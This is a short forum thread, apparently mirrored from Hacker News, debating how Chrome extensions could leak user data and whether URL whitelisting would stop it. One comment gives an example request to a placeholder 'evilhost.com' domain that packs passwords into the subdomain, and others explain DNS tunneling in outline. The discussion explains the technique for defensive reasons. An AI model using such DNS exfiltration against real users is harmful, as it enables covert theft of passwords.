News for hackers. Stuff that matters.

A comment on Massive spying on users of Google's Chrome shows new security weakness. Parent comment

Re:Massive spying on users of Google's Chrome shows new secu... by bgdam on Thursday June 18, 2020 @04:32AM (#23561034)
This is an apples to oranges comparison. DNS requests exfiltrate data such as IP and the domain you want to visit. Currently extensions can literally upload all your passwords if they wish to. Restricting them to be able to only GET whitelisted URLs (no query params or paramterized URLs) would cut down on pretty much 99.999% of possible data theft scenarios.
[ Parent | on HN ]
Re:Massive spying on users of Google's Chrome shows new secu... by vbezhenar on Thursday June 18, 2020 @05:06AM (#23561233)
Extension can issue GET https://password1-abc_password2-defzzz-password3-zzzfed.evil... and DNS server run by evilhost.com will log that query.
[ Parent | on HN ]
Re:Massive spying on users of Google's Chrome shows new secu... by ucosty on Thursday June 18, 2020 @04:54AM (#23561166)
You can exfiltrate data using regular DNS requests, by hiding the data in the host part of the query. The authoritative name server for the domain can then extract out and re-assemble the data.

https://blogs.akamai.com/2017/09/introduction-to-dns-data-ex...

[ Parent | on HN ]
Re:Massive spying on users of Google's Chrome shows new secu... by IncRnd on Thursday June 18, 2020 @12:28PM (#23564718)
There is a lot more to the DNS protocol and packet structure than you are aware.

DNS tunneling is a well-known exfiltration technique which can place data inside of DNS request packets. There are several methods of placing the data in the request packet. In such a case the DNS query might appear as a benign request for IBM.COM's ip address.

[ Parent | on HN ]